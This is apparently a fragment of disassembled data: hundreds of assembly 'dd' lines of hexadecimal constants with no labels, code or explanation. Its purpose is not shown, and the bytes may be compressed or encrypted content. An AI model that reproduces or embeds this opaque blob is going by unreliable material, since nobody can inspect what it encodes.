		dd 0B0142127h, 6390406Eh, 0D0676042h, 0FC70AB16h, 0FD1A4100h
		dd 3092B778h, 5C33982Eh, 7701F8CAh, 0AEAD8682h,	3FCC44Eh
		dd 0F7077300h, 0D6DFD752h, 6FC8FFF6h, 0B3F01DCh, 9F17D49Ch
		dd 97EFD078h, 68C0AF71h, 3DC9F1B9h, 0C55300A8h,	7F6D7BA0h
		dd 0BE605A62h, 0B7C16320h, 663A001Eh, 0D231D47Dh, 0FAEE16F8h
		dd 0F53ED602h, 0E095A61Fh, 400C7FF4h, 38006D41h, 0CFBEA89Dh
		dd 0ABB289h, 0D09B591Fh, 0E62BC784h, 0BD42A203h, 88AE28F8h
		dd 0BC1EAAh, 3483B77Bh,	21C16417h, 6F4F0E00h, 161B3BFFh
		dd 0F30C0287h, 5A7376CDh, 7FD020C0h, 1079777Fh,	370704B8h
		dd 7141452Fh, 0CAC98911h, 39C160h, 0D78D2C8Eh, 0AF1663EFh
		dd 0B85E1405h, 2683564Dh, 7E8002C2h, 0CB7C369Ch, 8C97B080h
		dd 60546AF4h, 500AEF8h,	4E3064A1h, 7EC852h, 0BE7FB319h
		dd 69DF2D5h, 0D0002BE0h, 83E2B421h, 282662BCh, 0ACA93Fh
		dd 54B26A0Bh, 485E193Ah, 59735D1Dh, 20B5F54Dh, 9C329E87h
		dd 6599F094h, 0B0333A7h, 0E5ADDADEh, 0DF5B8863h, 3D1F3CB9h
		dd 0A8E48AE0h, 30000A5Ah, 6BA6D6Ah, 0EEF66DFh, 35B3D5C6h
		dd 8D470C60h, 0F70087C2h, 8654C8CCh, 905631FCh,	70890A4Fh
		dd 0D86928h, 999D497Ch,	0EE0085BEh, 9B869AF3h, 0FED7E1h
		dd 0A4F874A2h, 71428843h, 560172E4h, 6BC0326Fh,	2A154Bh
		dd 3DBB3832h, 461FF35Eh, 4CFF594Ch, 4D0F077Fh, 7FF08558h
		dd 121EBDFCh, 8051783Ch, 1D7BD6E8h, 0C0F1D700h,	0B4CCEB9h
		dd 79C41EF3h, 7D3FC026h, 0D05ABC5Fh, 36F69D0Fh,	456360D8h
		dd 80C310h, 0C155CD2Bh
		dd 0CA837E9Fh, 3EF1D300h, 6F3FDB7Ch, 76D47D3Bh,	654000BBh
		dd 8CD68AE1h, 450057D3h, 0E0D15AC2h, 7213B2Ah, 0BBFF3202h
		dd 88F44142h, 71F9CBE3h, 53D8CB46h, 9400BE85h, 0B5C29D4h
		dd 1D06035Fh, 57EF5B77h, 99A8004Ch, 5C9BE06Eh, 3B4739h
		dd 90E11644h, 0F665CCE3h, 0D6F33CE4h, 7837C16h,	5018814Bh
		dd 6A108F5Dh, 959B8800h, 32BE94F2h, 0C8DF00C3h,	54A3B8D3h
		dd 7D7C8464h, 0ACE8690Fh, 0B43E8075h, 74634C8Ch, 975C50E5h
		dd 50A30320h, 30DA9558h, 7F6EDC8h, 976C3F00h, 2747AC5Bh
		dd 321E0718h, 5EA14874h, 8A6267C0h, 0B1F8AB9Ch,	5B42500h
		dd 69F4BD27h, 2F0F00BCh, 11EF369Fh, 0D001CF84h,	0C53F1001h
		dd 0FCC8395Ah, 0E55E0053h, 33A5D19Eh, 780041D2h, 0ADCA1DDDh
		dd 6B8F79h, 0A27B04BCh,	0EE77EDB5h, 0C5478A00h,	0FA942C88h
		dd 134A036Dh, 1966181Eh, 0CB9FEEC0h, 400B4F0h, 609314D9h
		dd 3CA231D6h, 0C680AAABh, 91320956h, 0C289ACEh,	0C8009C9Eh
		dd 0AA431D18h, 1904EF0h, 3ABFD837h, 0EC7C24C5h,	0A600EC5Bh
		dd 0DC254DB3h, 0C144A8h, 0E0B8A309h, 795D2BAEh,	28ACBB5Ch
		dd 0F500F41Ah, 0FBA9D8ECh, 0F76F3h, 3B4F3D5Eh, 0FAF2A75Ch
		dd 50CD6F00h, 1F0BDFB2h, 5B9800D9h, 0DEE60C34h,	35008F58h
		dd 84CD68A0h, 4CAB9499h, 1601C2FFh, 8C02C069h, 2742F0A2h
		dd 0C497AC00h, 3EE3F91Fh, 0C3EC0005h, 0E9E79C23h, 20009365h
		dd 7D343851h, 0C98704h,	0CF7BE2A9h, 0E78289D5h,	5962C500h
		dd 0A32BE4FDh, 0EDB80030h, 55F3F573h, 1407A2B1h, 0A47A5CBCh
		dd 3037B557h, 0DF1646A0h, 0B03B0929h, 0BC80A325h, 3C7DA8A1h
		dd 0F8BBC000h, 84E1AA0Ch, 0FDEA3A76h, 8F125700h, 8CD1DCC9h
		dd 26D4D802h, 0E0C0E021h, 166AE670h, 0F5FCE46h,	0D7E11BC9h
		dd 0C15375C9h, 0C458E064h, 0AFA67F3Eh, 0BE2AE0F3h, 385200C2h
		dd 0BC762E36h, 0EA00FA7Ah, 0A23ABDD3h, 988AF4A6h, 0ABF00073h
		dd 9279CADFh, 0A000639Bh, 13782D2Fh, 3D2FD0Ah, 772087E6h
		dd 0CBF29D81h, 41AFC0DDh, 3D5B00A7h, 861EA450h,	3707C433h
		dd 0AB2F9820h, 0B8DDDEA0h, 9AD5001Fh, 4A856462h, 0FB0382B7h
		dd 0E8840E81h, 247080A2h, 7B02485Eh, 55D39B00h,	3404076Eh
		dd 0F3674100h, 76BB89CAh, 827A2F80h, 632499E0h,	0D96CF600h
		dd 944650B1h, 36BB000Ah, 0B4822369h, 2929E6EFh,	5F00BC0Bh
		dd 0BE469681h, 0D95D26FDh, 487A4054h, 9007405h,	0F09C75C0h
		dd 69C813h, 28E6556Bh, 0B3018A0Ah, 80D81C3Dh, 0DA2C9E2Fh
		dd 9CCA9Dh, 45D353F4h, 6A2E9C7h, 9F9B6B00h, 0CAC267EAh
		dd 48C0F8F0h, 0DD001B3Ch, 0C616E852h, 7700C412h, 6C3B8CB8h
		dd 91BFA7h, 39ED772h, 0A02949C3h, 112ED000h, 0C437C5B1h
		dd 19E4BAh, 2C750E6Dh, 0EF5D7B3Ch, 57344800h, 46EF13Eh
		dd 10544CC0h, 0CB39AC05h, 0B44808Dh, 0F601BE69h, 0A934B09Ah
		dd 5C708720h, 0C4AF042Fh, 90062EC0h, 9DEDB300h,	1B90FC00h
		dd 0B3764DDh, 0FACF04C3h, 0C5284E43h, 0EBA780F0h, 0BF01F0D4h
		dd 2B5710B8h, 0FED4061Ch, 0C70C3D96h, 8B00D9ACh, 0B28024C3h
		dd 0A69C7BA1h, 19D67F00h, 0A7FF93E6h, 0F6CD75B5h, 511100B7h
		dd 0A1E13302h, 17005367h, 4BA9D66Eh, 22757Bh, 0F4558CDBh
		dd 0D22BD0E2h, 0BE8A6513h, 21BDD102h, 67C04131h, 7EDF0760h
		dd 0C28B3CC3h, 7A0F7900h, 0F20CC81Bh, 2233F03h,	0B8491DACh
		dd 937230h, 785E13CFh, 0B98B328Fh, 3CE85500h, 878581B1h
		dd 693B60CDh, 1C64C7A6h, 0B712CF00h, 617CDC4Dh,	5C9A2Dh
		dd 1B24BBE9h, 38ED0B9Fh, 7FBC3500h, 15CD7078h, 38E0080h
		dd 2C366997h, 3A0084C7h, 0BB3D3D7h, 2E0E4179h, 1875B82Fh
		dd 0A22BF1F3h, 2486AA00h, 7C139DA9h, 584A4899h,	3C95531Fh
		dd 0D43E8CD9h, 9175DE00h, 0B305C2E7h, 94CB250Ch, 8922112h
		dd 0F2DA881Dh, 0FE2BCC00h, 0C5ACFD9h, 0FC561105h, 1230D728h
		dd 58FD301Eh, 1BF63952h, 8FE9A283h, 187BDEA7h, 0E803027Ch
		dd 0E3C4D7C3h, 0B45EA8C5h, 3FA503F5h, 0B3929A8Ah, 0CF85A000h
		dd 56CBFE33h, 0A6610448h, 90D2E979h, 0AA8B9AB8h, 9712F500h
		dd 9305B957h, 0CF11C098h, 7E330F2Ch, 9D924802h,	8AC47C34h
		dd 120CFD7Ch, 3A1B8858h, 675B2FCh, 3AD4B152h, 9A28C161h
		dd 0DD306CC9h, 0F62CF8BAh, 0BEE20080h, 0AA906176h, 0C00CF3Dh
		dd 0B8E18E96h, 0A1CC9Ch, 5E12B0EDh, 0AF8B3748h,	417B7C0Eh
		dd 75EBE0BFh, 211E4Ah, 0C528369Bh, 0DE5C42D1h, 0DB868200h
		dd 0D743B8FDh, 1D8D010Fh, 3D52EBC2h, 0E3E5D86Bh, 0A34DDE03h
		dd 0E8EA25F4h, 1DCE7F72h, 0A7359h, 9B0FCC54h, 8800B6B5h
		dd 13BBE353h, 446BAC5Ah, 9B052542h, 99DA54Fh, 16C4A806h
		dd 0B8185408h, 20D3E45h, 0D370DE80h, 3F589CEh, 9E333498h
		dd 0FC6CC7h, 0FF5B3210h, 0DCB1DAE5h, 0EF00527Ch, 0AD88D7D6h
		dd 0A4EEA816h, 0F4DE009Ch, 3BCFA7C4h, 56904AE7h, 217008DDh
		dd 0C4891Dh, 0FFFE394Bh, 0EE1A31B9h, 7D9A880Eh,	464F87F6h
		dd 5CA0C246h, 141FE49Dh, 33D0B087h, 770096BCh, 13FFC252h
		dd 0E8F60A9Ah, 10924Ch,	0CC899744h, 2C038C50h, 0BD912200h
		dd 58B63256h, 0D6B200EBh, 2DB8E536h, 0D209C7C8h, 802EC2C6h
		dd 3CE24D44h, 0FE2503D9h, 0E4DE3F43h, 0DC56D6E0h, 47F82F00h
		dd 5F9B0C23h, 0A408CCBBh, 951DD648h, 27002F71h,	24CE6256h
		dd 2B0F0789h, 0D2B87B39h, 3600F9DEh, 0E4DC1805h, 3B040681h
		dd 8AC63D7h, 4021456Eh,	0C70EDC43h, 0D43C0333h,	74667591h
		dd 0D264B801h, 0CF5682FDh, 0B08363C0h, 0B86500EFh, 27C62DBBh
		dd 7B00919Eh, 0E3D3CE10h, 3CC1D134h, 0E100B747h, 21F51328h
		dd 0E9006E4Dh, 0F8030E63h, 2E23722h, 0AD7AE43Ah, 0CA40A1B5h
		dd 4B00ECACh, 0A60F6C8Bh, 0E5DC67h, 0E440091Fh,	0A825B803h
		dd 0C75A0B00h, 0A614B0CCh, 0E3725C46h, 0E7172203h, 0F0CF1FE2h
		dd 56665485h, 2787061Eh, 0E8BF3600h, 0E52F7Fh, 0C3730B8Eh
		dd 0F15C6FFCh, 651ED0F8h, 1EDD1663h, 55033000h,	0EF36D4Eh
		dd 2FA4D3Bh, 7E5B4180h,	7BE0014Fh, 4E1EC500h, 145235D6h
		dd 54D106E6h, 10209DB5h, 0F5049C54h, 28258631h,	7A70C6CCh
		dd 9DE3003Ah, 5895133Ch, 731FD98Ah, 7580F52Fh, 87CC41F2h
		dd 28406230h, 0C3213781h, 8A0272FFh, 88337F10h,	9A883BC5h
		dd 1653080Eh, 314256F5h, 212922AFh, 10D30A23h, 1E775279h
		dd 86405488h, 0B93371DFh, 0F4FB0050h, 3F2453DEh, 0CF7B19AFh
		dd 51226D00h, 43853025h, 18F306C8h, 0F4FDD55Ah,	0F96E7D00h
		dd 6DB70D0Bh, 880C0082h, 0B1715FFCh, 6A006026h,	2C1C5303h
		dd 18DFB02h, 0AC519CDBh, 308F5254h, 1A00E440h, 5A157C0Dh
		dd 31CB94h, 6692AE1Ch, 0BA9CD111h, 7FF7C003h, 70D43A0Eh
		dd 0CF7F96h, 3E5E86Ch, 98A6474Fh, 0D722BA01h, 0C8D1EA57h
		dd 878DC850h, 4B130034h, 3F2B21AFh, 0F47BFF60h,	0E000C47Ch
		dd 0FA6D063Ah, 3F9EED7h, 0D392DD0Ah, 0CA976A0h,	77A7F451h
		dd 1501ED5Ch, 0F47C45h,	0E9D17199h, 3449EB6h, 11CA7983h
		dd 5AE887B4h, 8B00F47Ah, 4C2F29A8h, 6B036Ch, 90CE0201h
		dd 0A2CB2D54h, 307F580Bh, 80EF427Eh, 6421B972h,	8A55000Fh
		dd 4A8D869Dh, 2F04D2D9h, 14B1E86Ah, 502014C7h, 1EB06F3h
		dd 185BBDACh, 8E262F86h, 0E101B8D8h, 0EC628459h, 0C630E8h
		dd 85BF50A5h, 82C488E5h, 0BB93D500h, 0B6104BB5h, 0E4FD3D2Bh
		dd 0DCFBFE00h, 0F4145BBCh
		dd 5EB80700h, 0F7E1ACC1h, 9E9724D1h, 57C000A4h,	0CB0ED4BAh
		dd 6A922400h, 16DCB8AFh, 102A6080h, 0E42E0D97h,	4F03DF7Bh
		dd 3FEFD507h, 0FAAF83B1h, 32904089h, 1B67764h, 0A24D3D1Ah
		dd 0F1CAB3CDh, 3378E8F3h, 0B9819500h, 0EAC8834Ch, 2DC50082h
		dd 9C8E415Ah, 0D338337Ch, 58558BA4h, 46901A9h, 0DDC86E28h
		dd 0F860079Ah, 632F593Eh, 0EBF020F4h, 0C71DEC50h, 0B2C099F5h
		dd 0B559DC6Eh, 219760C0h, 3FB7BA83h, 0C4D1AC00h, 346C42B2h
		dd 0C98800CEh, 51CCEF39h, 0D90232DAh, 0F2EE33D6h, 0A65840ADh
		dd 0A27670h, 0D45D9005h, 7D43DAD5h, 7CCC1E01h, 175481F4h
		dd 0F1A1820h, 9D67FDF1h, 0C0C15AA5h, 1B382D35h,	68C03F00h
		dd 60565E1h, 0C8FD004Dh, 69A555FAh, 0E7004EBCh,	528517D0h
		dd 86A43Bh, 53B4D779h, 2A250DFBh, 1375EA1Dh, 0F27873C2h
		dd 0F07FC097h, 146D3DEEh, 0DBEA3E03h, 0E5C05881h, 5B00A0FFh
		dd 67D860B8h, 33970Ah, 0F02E68CEh, 8B36862Ah, 0FC759000h
		dd 96AF7458h, 945F02DEh, 287B2991h, 0DCF06860h,	0E72BD91Ch
		dd 0B8A19BC0h, 4B9CC4h,	9711AADBh, 741477E1h, 6DBF8A05h
		dd 1180100Ah, 0B213B1h,	2EA8F5DDh, 22C1B365h, 0D5A4D904h
		dd 18C10FA2h, 8EF8F9B7h, 0E011EC1Fh, 0F44C0036h, 8A2C2B2Dh
		dd 1B00EB07h, 76906557h, 1592F9h, 78E19C73h, 63ACDCBBh
		dd 28871734h, 959035C0h, 0E8FE6F3h, 984BB7ECh, 70FCC5AAh
		dd 6E00FE6Ch, 0FC055B72h, 50FF418h, 5C94073Dh, 0E8B400F9h
		dd 0BA4FA806h, 0D4882000h, 0AE42DE78h, 0F438517Bh, 805DC3C4h
		dd 0CE799417h, 34A84400h, 69525F51h, 0C43F39CAh, 0A243E400h
		dd 9955C795h, 0BC2E8700h, 3450926Ch, 75E8796Eh,	567B00F5h
		dd 96D36D8Fh, 0FC24B060h, 2200952Ah, 4FE3F29h, 0EC9504C4h
		dd 0C0B67343h, 0AEC20388h, 0B3DA1500h, 0A1D633Ch, 1458980Ch
		dd 0DC6E2F8Bh, 44D32Ah,	1F826FE7h, 84F179A6h, 8D709F60h
		dd 0A157CDh, 0FC18FFB3h, 0A4196B3Fh, 0B49DC300h, 0EE73402Ah
		dd 41B61F9Ch, 9125C73Bh, 846FF00Ah, 6A12652Ch, 0F0005C23h
		dd 6C55CD0Bh, 0CF181F94h, 0A4101480h, 83811207h, 1F475044h
		dd 8907C239h, 66EE054Dh, 30CB2C60h, 3AE40041h, 0D7BFF8AEh
		dd 0D6002351h, 0EE11F131h, 0E0FA21h, 8BE34A8Ch,	840135E5h
		dd 2AD2BF00h, 0AEF8A36Dh, 0FA450016h, 0DB2CD2Dh, 250092ECh
		dd 0D9037FBAh, 1408F6h,	75693B17h, 0AFF5CECBh, 46730400h
		dd 8090E20h, 1431035Fh,	34DE6AC9h, 6DF08EA8h, 0EA930F07h
		dd 0DFB0E3FFh, 1743A4h,	0AB76711h, 3805D165h, 101AD400h
		dd 0D0AB4D01h, 0E83B4880h, 40EB8401h, 0F19AD709h, 0CC8DCE7h
		dd 0EFB5F700h, 9C8CA722h, 6EDA0E54h, 66606008h,	9449D99Bh
		dd 97DD2600h, 8693AFA8h, 0D60600FCh, 64AE70BEh,	0E70EA41Fh
		dd 0DF243DA5h, 31ACCE40h, 566A7h, 231EADEDh, 378FBC5Fh
		dd 0A22E4E00h, 86DD276Dh, 0FF1A162Bh, 0C4B44013h, 0CBE399Ah
		dd 247E141Dh, 84645880h, 7447276Eh, 0F9180F85h,	4078F73Dh
		dd 0AD987B45h, 8057A93Dh, 0AFBEEA14h, 75C817h, 0A1430DD4h
		dd 7985D750h, 0F310080Fh, 8DA5074Ch, 32E467D0h,	17A30018h
		dd 0DD21595Dh, 0C03D4B1h, 268FF2A9h, 6BC18707h,	8330D5C9h
		dd 0B2B10088h, 0E5AB9689h, 55008705h, 1ADF9954h, 48D471h
		dd 5045C0ACh, 0BCC84F78h, 28645D0Eh, 0CA20F92Dh, 901D530h
		dd 535B59BBh, 7A14DE80h, 60BF632Ah, 0F5D335h, 9A6B7CCh
		dd 0AD6A9CE1h, 550A800h, 2F3DC530h, 0F89B5878h,	16ECA11h
		dd 9FB91287h, 63CA6D8Ch, 0A557D038h, 0DDD400ADh, 1E2949D2h
		dd 0FC00BEA7h, 0B4C062E5h, 7ECA70A3h, 0A259007Ah, 2F93696Ah
		dd 4000BA6Dh, 9BB7EAEh,	2447E779h, 7201AFDh, 907565E0h
		dd 5948926Dh, 305E0A00h, 0D3AFA51Bh, 34947Bh, 80AE1F8Bh
		dd 0BFC23F2h, 960094E0h, 8AF8CECh, 0E2D9A7Bh, 70FDA8DDh
		dd 0C6EF420h, 0F6FA1661h, 0A4605E00h, 0FD1258BEh, 3F190035h
		dd 8FA72CA9h, 0BB0F9E30h, 2E56D9h, 7C2A5D24h, 0B6E4005Fh
		dd 7E22F60Ch, 4B008F95h, 98F8FAE9h, 24799h, 913C186Bh
		dd 5CA0837Fh, 4C170C90h, 0BC002610h, 3DD5575Fh,	0B665397Dh
		dd 0D6A08080h, 34DC0B9Fh, 3126B701h, 0F86F2069h, 38CAF0h
		dd 0A51C812Ah, 0C3FE411Fh, 0A358AE00h, 8E970FDEh, 4B6E004Eh
		dd 50E72C25h, 0D560B281h, 0A507D14Eh, 587177h, 9112E621h
		dd 3A56C01Bh, 54FE0C0Fh, 574800C9h, 229A89h, 881058D2h
		dd 8D734215h, 0C971C703h, 0E0E47C1Ch, 589AEEh, 6EA6E870h
		dd 9C6F17ADh, 480043FEh, 0A7CA3521h, 48E869C4h,	770BFA86h
		dd 0F28E3328h, 0D4F64940h, 0FD00596Ch, 4B6DE91Fh, 0A089FEEAh
		dd 0B12EB2h, 0E8293693h, 6984F91Ch, 0A695B516h,	0A900541Fh
		dd 5AB33D28h, 0C808001Ah, 0B65E470h, 1D001387h,	0CC8BFA26h
		dd 46F29h, 649852FBh, 40D07115h, 2C00F2B8h, 9C2B73DCh
		dd 2355E1Fh, 0F31C8FC1h, 8AE07FB8h, 54B017AEh, 77989B0Ch
		dd 14F029h, 20D35E92h, 0CA08B2E6h, 0DD2FB800h, 0A545C90Bh
		dd 7950C074h, 3F222359h, 70194C00h, 5E786236h, 0BF860024h
		dd 99728556h, 8403D00Eh, 77D74BC2h, 71FFF0BAh, 2D2200F4h
		dd 0BFAFE546h, 1D1CE79Eh, 0CBC021D3h, 33827D56h, 260800D1h
		dd 0C2DDDF1Ah, 97B89E9h, 0B56C3Eh, 0F4513CD5h, 714F637h
		dd 0BA3B5F12h, 0A9D4C0BCh, 0B00042C4h, 249269B7h, 4C75CA1Ah
		dd 34309FC8h, 0F4D96050h, 8083993Ch, 7CA478CCh,	82F65Eh
		dd 64A6470Eh, 3E95237Dh, 0E8CFBD50h, 0FB90EC07h, 8A304ECFh
		dd 28D9A4h, 87E6EEAEh, 961E52F8h, 0A05F6600h, 7997F06Eh
		dd 99050901h, 34004946h, 0A252C52Fh, 0A598A538h, 0AFF41Ch
		dd 0C777598Eh, 0A705CEACh, 0C3167BF2h, 804CAF09h, 5B7F787Ch
		dd 0A077E063h, 79EC93B5h, 21010040h, 0F807DBB5h, 76008F58h
		dd 7D41254Ah, 0E575A6h,	7080EECDh, 0A47E6C56h, 353C1500h
		dd 0C8616DC0h, 0EFFB0033h, 0DECC3E82h, 860018FEh, 6A4D76E5h
		dd 0FD06595h, 96A2A989h, 432A3E82h, 0EB280440h,	72A01D48h
		dd 8935BF0Eh, 4CDBC158h, 0FAC05282h, 3E660006h,	5C5724A4h
		dd 0EF00A326h, 16DFEEBBh, 59D8E1h, 0AB85A517h, 0D7660A1Ah
		dd 391EA400h, 7351CAD2h, 0A41B60D4h, 7F8C15CEh,	0BC670213h
		dd 69B46901h, 0E5F8FC5Dh, 13225C89h, 68D91707h,	18BA0C1h
		dd 0F612B0FEh, 0FF0079A0h, 45F9929h, 3C56002Ah,	8257325Ch
		dd 0B819C967h, 28C9DFF0h, 75037B08h, 79CF9AABh,	4617E8Bh
		dd 0BAD0CA94h, 0F77890DFh, 91EC286Bh, 8FC85305h, 0F880F38Ch
		dd 1EE045Ah, 4B25D975h,	0F516F040h, 0B8D1D85Fh,	7109B432h
		dd 891C004Ch, 873C649Eh, 0D2528341h, 0C0C5C924h, 0E571ABCh
		dd 995EB9D3h, 7D7703E0h, 50012296h, 9CD92F30h, 28202D9Dh
		dd 0DF5400B8h, 6E64E9BAh, 5A005C69h, 3C2396E2h,	0F36A266h
		dd 982FC4AEh, 0A04C8EC7h, 0DE1AE5EBh, 5AE30507h, 3DC03CBAh
		dd 0B85551ADh, 43AC5C4Eh, 3DCBB84Eh, 7731009Ah,	4DB434D1h
		dd 12921FC2h, 0E9C740DCh, 94F86207h, 0FC66ED05h, 0DC00CAB3h
		dd 0F288D7BBh, 747D0330h, 0F19380FAh, 8EAE40CFh, 910363FDh
		dd 31C628D8h, 8911000Eh, 0F5A8D6C4h, 30FA82FAh,	54F3A700h
		dd 17D7FD48h, 0DDB71824h, 0CE5260A0h, 6B715B00h, 0E5015E4Bh
		dd 4337264Fh, 0A1330088h, 19D9E03Fh, 0F2C5B200h, 0D662FFC6h
		dd 917F0090h, 0B3B7BF3h
		dd 2E0E1D0Eh, 0E0F5432Bh, 0E68ACE36h, 0EE5D7095h, 4B730327h
		dd 0CD2AE8A9h, 0F940CC00h, 0B5F56555h, 0E8E24C82h, 9880E63Fh
		dd 0A77707BDh, 0D1F46609h, 6492F500h, 0CCFDE353h, 0C88000A1h
		dd 28377E4Eh, 0B4740DA5h, 4048F600h, 0CCC39111h, 38190099h
		dd 9638F30h, 0E0136B47h, 1800FCF8h, 0EEFE104Fh,	0BC0D009Ch
		dd 0C7F10ED3h, 60131918h, 980F03B5h, 2D40FE86h,	8B256F77h
		dd 3F330036h, 58BD01C2h, 8100C004h, 0ECD8183Eh,	0DD97B1h
		dd 9DC6C31Dh, 123F0D40h, 695B300h, 0B82AEADBh, 7C214831h
		dd 0F3B22000h, 77CE40DAh, 924E1103h, 0F8B3DD03h, 939D868h
		dd 21F80A4Ch, 0A69EFC80h, 7203C37Fh, 3009A489h,	75490060h
		dd 0C92A3A5Dh, 9D1E07F7h, 1792D6F3h, 0C2A30C00h, 39B64B08h
		dd 3B867743h, 381E135Bh, 0E3229F00h, 4256ADC9h,	127994h
		dd 9073C602h, 0F3961F64h, 35994704h, 548084F1h,	10E3BCFEh
		dd 9114E5h, 6C48FA67h, 0F9AAEB1h, 0BA83AF38h, 0B9B2BDE0h
		dd 600C956h, 5A488A71h,	0FD1C7DDh, 0AFF73768h, 6990F1A0h
		dd 0A200D04Ch, 0EE1599E5h, 138BE7h, 0C90DA7F5h,	19522D8Dh
		dd 421F8900h, 0DA70C032h, 0D375001Dh, 48CFFCC3h, 4F00DCCEh
		dd 0A51EE1FDh, 0F28639h, 6C01CCDAh, 0A4B07F1h, 91603Fh
		dd 0E9D7EF7Eh, 4084F4h,	2E5F8176h, 42C1393Ch, 681A4103h
		dd 0B7884883h, 13B2B320h, 0C0263393h, 0E6D811C8h, 2E00F184h
		dd 6A8BB5B4h, 3BC3CA4Ch, 3980D161h, 2BCCFB29h, 5C2E48C5h
		dd 0C0009D08h, 0A464FA4Ch, 0E4C8009Eh, 9D9AA112h, 1A7DBE85h
		dd 2E24C500h, 0F3877584h, 0CD860190h, 0B006D2C2h, 0B885F828h
		dd 5A9F18C0h, 439E31h, 0A91583F9h, 2AAC4F0Fh, 2C57AE00h
		dd 0B428522Bh, 0BCEC009Eh, 0F2546368h, 73987F53h, 0D700377Fh
		dd 886F64D6h, 1367FA3Eh, 45F5CCh, 0C60956F4h, 157470BDh
		dd 22BE4100h, 0B31D380Fh, 0E4E70002h, 2B17B5DDh, 9209317Bh
		dd 0A0A07467h, 0CFADBAB4h, 0C73900EAh, 26663602h, 5500FD3Dh
		dd 49CC6A5Dh, 11EFBAh, 539C6765h, 880D6C07h, 0C748B00h
		dd 3FFB725Dh, 124EF650h, 1C130BC7h, 0DD6801F1h,	0D4D8842Fh
		dd 0FA0078BDh, 0E2FD9A4Ah, 0F0CC69F6h, 0C07F03h, 7062D5DAh
		dd 30F95993h, 0F1D7DE1Fh, 67C9FD83h, 0D073E942h, 13F8E4D0h
		dd 28D5E59Dh, 0AC09479Ch, 8F200Ch, 0EFFEA370h, 0B550054Dh
		dd 801BBA01h, 86925958h, 54F220C3h, 0DCA1AFFCh,	44204B27h
		dd 0EDEE16h, 6429AF09h,	3D9D2D36h, 17468100h, 129548ABh
		dd 243C49C9h, 0BC96F300h, 57A95807h, 0E97CDF70h, 1D3C403Bh
		dd 63801D34h, 0B3046EEFh, 7C7B8CEh, 39546FD4h, 803E8489h
		dd 77FF0EDCh, 69296300h, 6053BD4Eh, 90EA0006h, 88655DF5h
		dd 0D00BBC7h, 0FB9C3C9Ah, 7F4203h, 0A68D4332h, 6C4EA1B8h
		dd 0D1F35D00h, 0CFA9C112h, 0CF4DCh, 6B64DFADh, 74DA3178h
		dd 1D07E41Dh, 0FF348280h, 0B5C8EF5h, 62E058C6h,	279D5100h
		dd 0E803845Eh, 43F635C2h, 0F8A29BEAh, 6EE5D1h, 3AE91471h
		dd 0DCF4B4EBh, 95D8F000h, 452A5B1Bh, 0CEA00B2h,	5E8330DAh
		dd 6C00A8FAh, 2B8EAF35h, 4EBCD9h, 677D01E8h, 40765DB5h
		dd 63C89000h, 0CF34A6Eh, 0A71D0FA4h, 0EA82EEDCh, 9E82D81Fh
		dd 5FC09AD9h, 7074019h,	42D1931Ah, 4466A5F0h, 0CE2400EBh
		dd 0AC559599h, 3D0080A7h, 5EF06CAh, 733AC693h, 45090154h
		dd 0CCE738C4h, 0D08FE529h, 7E3AAECBh, 843D001Dh, 7625E2A6h
		dd 375700C8h, 0E92389CAh, 0D01699Ah, 4AD4B9DDh,	0CD47408Fh
		dd 19B692C0h, 0EF9C5C74h, 0E1775900h, 5C21EB53h, 0F78E2700h
		dd 0A53DF390h, 83053B1Dh, 250DC604h, 20AC80D4h,	0A600CBE0h
		dd 0B9DE7FE4h, 3C90A4h,	0FE6834D2h, 0B40AE165h,	838CBA00h
		dd 8F35753Fh, 1C360374h, 42C2BDC5h, 150B66B8h, 0FD024300h
		dd 29FF414Eh, 0FB034C79h, 46B3EC01h, 0D8C0A49Dh, 0BE00DF1Ah
		dd 1EF9D84Eh, 7DA7180Bh, 2BC00E5h, 0DB4D2B1Fh, 1600E15Ah
		dd 1CF23E2Ch, 0CD27EBh,	5CA0A56Ch, 787CEF09h, 0E80041E0h
		dd 593E7F2Dh, 0BD14A8Fh, 859B616Ah, 97AA1B80h, 77009C51h
		dd 52F39F8Ch, 9007E59Ah, 54BC3AA8h, 172B4180h, 58BB13A5h
		dd 2ABAD800h, 0F85D4561h, 0BD752Eh, 3C34192Ch, 1E62AE9Bh
		dd 0C30070DFh, 26A45475h, 87C13FD4h, 11C5D106h,	9A3E201Fh
		dd 3C9B004Eh, 0E4947A78h, 135777F0h, 0FEBE7D51h, 8925B301h
		dd 2AF88E96h, 0EEA512E1h, 5D4840BAh, 0B7D1D288h, 0C7AE70Eh
		dd 15B10019h, 0CC0190h,	0B99257Ch, 0E6351D2Fh, 0DB1A7D14h
		dd 0A6488120h, 21CC1F7Eh, 0CF150A4h, 603E50AEh,	1986099Fh
		dd 0BE80DDD9h, 8F41E2BAh, 986D8500h, 618A2738h,	247002AEh
		dd 6EBC7A2Fh, 0E08239E0h, 342C9100h, 604D0E80h,	20A20014h
		dd 980BC61Ah, 0A100F061h, 41BC1E7Eh, 3B146AFh, 0AECA3CEEh
		dd 1CB85B20h, 1E98420Eh, 3AB50613h, 0FECD0FFAh,	0CB2B9100h
		dd 42DE63A8h, 0FB6D780h, 65BE04h, 9D90419Ah, 46DDA345h
		dd 0B190ABE2h, 0C0090A00h, 80A9CB3Eh, 430B009Bh, 68EE857Eh
		dd 639DC34h, 0C2A48023h, 811EB716h, 0EBB60B5Bh,	0AB80438Bh
		dd 0AE8D108Ah, 2C90B850h, 2F1A1E01h, 84B148F4h,	8B54ECh
		dd 163CE778h, 4D7AE1DBh, 3E2E83Ah, 0F6F96ADEh, 8E7DC067h
		dd 869B007Eh, 3CE5AF0Ch, 0BB1FD9A1h, 4E924D01h,	51FE241Ch
		dd 468A1BCh, 0D6BA78D7h, 66101665h, 1B520C80h, 0A706008Dh
		dd 0E6C5F3CBh, 3309DF93h, 9642BAh, 898E6672h, 0AA28C451h
		dd 2E9042A5h, 214604DAh, 5194FCC0h, 71814AEh, 9BAA5189h
		dd 88B65788h, 0C840F572h, 298A62CFh, 412298EEh,	0F3962299h
		dd 24A69A22h, 0B2512192h, 11F4FA11h, 0A1902F35h, 0B5108616h
		dd 787E5029h, 29DE6448h, 0E804237Ah, 208D2471h,	0D000A682h
		dd 0B919DDA1h, 272EEh, 883590ADh, 4D5EE651h, 8AA438h, 0C32C29CAh
		dd 4E44AEh, 383F4C4h, 0E822BE8Bh, 0AD904F00h, 713B596Ah
		dd 289D0093h, 4ED1107Dh, 5800771Fh, 0B6F973B0h,	22264Bh
		dd 8D07E6FCh, 7F28A8DEh, 310085B0h, 0C08F51EBh,	14E740h
